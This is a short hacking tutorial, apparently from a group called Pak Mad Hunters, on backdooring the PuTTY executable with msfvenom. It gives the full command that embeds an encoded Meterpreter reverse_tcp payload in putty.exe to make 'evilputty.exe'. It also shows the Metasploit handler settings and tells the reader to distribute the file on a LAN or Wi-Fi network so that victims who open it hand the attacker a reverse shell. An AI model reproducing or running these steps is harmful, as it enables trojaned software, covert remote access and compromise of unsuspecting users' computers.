In this tutorial, i will show you how to backdoor windows executables using Metasploit Exploitation Framework's plugin Msfvenom.
For LAN/Wifi Networks:
Now follow me step by step:
Attacker's IP: 192.168.0.14
Victim's IP: 192.168.0.x (within LAN network it might be any IP)
1- Open terminal and download putty using wget.
2- I was in root directory when i used above command. So, putty got downloaded in /root/ directory.
Now use msfvenom to backdoor this executable using the following command.
msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai -i 25 -k -x /root/putty.exe LHOST=192.168.0.14 LPORT=4444 > evilputty.exe
Above command will generate an EXE file with the name evilputty.exe. This is our backdoored executable file.
3- Start metasploit.
4- Start metasploit's reverse handler to get a reverse connection.
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.14
set LPORT 4444
5- Distribute this evilputty.exe file in your LAN/Wifi network and wait for victim. When victim will open this evilputty.exe , you will get a reverse shell on your metasploit's handler. Happy Hacking :)
For WAN Or Internet:
To use this method over WAN/Internet, you need to forward your ports.
Follow my following tutorial for better understanding of metasploit's working over internet.
Captain & exploiter-z from Pak Mad Hunters
Watch Video Tutorial: